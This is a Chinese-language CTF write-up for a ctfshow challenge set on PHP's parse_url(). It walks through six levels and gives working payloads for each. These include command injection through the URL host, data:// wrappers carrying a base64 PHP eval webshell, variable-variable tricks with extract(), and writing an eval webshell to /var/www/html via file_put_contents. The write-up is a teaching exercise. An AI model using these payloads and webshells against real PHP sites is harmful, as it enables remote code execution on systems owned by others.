ctfshow周末大挑战 - parseurl


今天看到ctfshow上有个周末大挑战啊,来做做

认识parse_url()

根据php的函数介绍:

parse_url是对传入的url进行语法分析,然后返回url的每个部分:

如果prase_url后带第二个参数,则是直接获取结果的一部分:

参数2的可选值:

1
2
3
4
5
6
7
8
PHP_URL_SCHEME,
PHP_URL_HOST,
PHP_URL_PORT,
PHP_URL_USER,
PHP_URL_PASS,
PHP_URL_PATH,
PHP_URL_QUERY,
PHP_URL_FRAGMENT

具体例子如下:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$data = parse_url($_GET['u']);
print_r($data);
//u=http://username:password@host:8080/path?args=value#test

?>
输出结果:
Array ( [scheme] => http [host] => host [port] => 8080 [user] => username [pass] => password [path] => /path [query] => args=value )

其中还缺少了一个[fragment]=>test

我本地跑的时候显示不出来,但是这个组成部分还是存在的

parse_url后就可以分成如上的scheme、host、user、pass、path、query、fragment七个部分

第一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

这题就非常简单了,获取parse_url()的host部分然后进行eval

那直接在host处下手即可:

1
?u=http://user:pass@system('ls');

命令执行成功

尝试使用ls /失败

那就得用cd ..;ls 逐级寻找flag

1
?u=http://user:pass@system(%27cd%20..;cd%20..;cd%20..;ls%27);

发现flag:

1
?u=http://user:pass@system(%27cd%20..;cd%20..;cd%20..;cat f*%27);

第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

改为了包含host和path

如果知道了文件的路径,直接包含获取即可

如果不知道可以通过data伪协议包含写入shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
data写shell:
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
本地测试:
http://username:password@data://

回显:Array ( [scheme] => http [host] => data [user] => username [pass] => password [path] => // )

?u=http://username:password@data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
回显:Array ( [scheme] => http [host] => data [user] => username [pass] => password [path] => //text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 )
可以看到和我们的目标十分接近了,但是data没有:
所以我们再加一个冒号

?u=http://username:password@data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
回显Array ( [scheme] => http [host] => data: [user] => username [pass] => password [path] => //text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 )
现在就完全一致了
但是那个+又没了,所以我们要对其进行一次url编码 ->%2b

最终payload:

1
?u=http://username:password@data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

然后就可以进行命令执行:

1
2
3
1=system('ls ../../../');
发现 _f1ag_1s_h3re.txt
1=system('cat ../../../_*');

另:既然知道了flag的路径

那直接:

1
?u=http://username:password@../../../_f1ag_1s_h3re.txt

第三关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

同上,只不过改为scheme和path拼接

将scheme从http://改为data::

然后发现data后面的内容全部为path了,也就是:

所以直接写:

1
?u=data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

flag的开头还是以下划线开头的

所以直接

1
1=system('cat ../../../_*');

第四关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

和第一题一样啊

host改一改命令执行即可

换到靶机就是:

1
?u=http://username:password@ls
1
?u=http://username:password@cd%20..;cd%20..;cd%20..;ls

发现flag 1_f1ag_1s_h3re :

1
?u=http://username:password@cd%20..;cd%20..;cd%20..;cat 1*

第五关

套娃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

include 还是用data协议写shell

那这个$$$$$$host又是什么东西呢?

其实就是套娃

如果$host指向1 那就会变成$$$$$1 ,消掉一个1

如果1指向2 那就会变成$$$$2…以此推类

这里通过parse_url获取url各部分:

host scheme username password port path query fragment

那就可以通过这八个进行上述的套娃,从而指向最后的data伪协议:

1
//$$$$$$host   -> $host = scheme   $scheme  =$$host = user $user = $$$host = pass $pass = $$$$host = query $query = $$$$$host = fragment $fragment=$$$$$$host = data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

payload:

1
2
原型:?u=http://username:password@host/path?query#fragment
变化后:?u=user://pass:query@scheme/path?fragment#data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
1
2
POST:
1=system('ls ../../../');
1
2
POST:
1=system('cat ../../../_*');

第六关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

看到file_put_contents写shell:

对回去就是:

path做文件名,host作为data写入

本地测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
尝试写shell:
/var/www/html/1.php,<?php eval($_POST[1]);?>

测试:
http://@<?php eval($_POST[1]);?>/var/www/html/1.php
回显Array ( [scheme] => http [host] => [user] => [path] => /var/www/html/1.php )
看似可以
但是实际上呢?
我们本地测试会回显:
Parse error: syntax error, unexpected '<', expecting end of file in D:\phpstudy_pro\WWW\Test Web\zhoumo1.php(6) : eval()'d code on line 1
发现unexpected <

说明shell出问题了
我们把path去掉就会发现:
Array ( [scheme] => http [host] => < [user] => [query] => php system('dir');?> )

也就是说它把问号后面的内容定义为了query

所以我们要找一个不带问号的webshell:

使用js的webshell:

1
2
3
<script language="php">eval($_POST[1]);
然后补上path:
/var/www/html/1.php

payload:

1
?u=http://@<script language="php">eval($_POST[1]);/var/www/html/1.php

访问1.php后:

1
1=system('cat ../../../_*');

(完)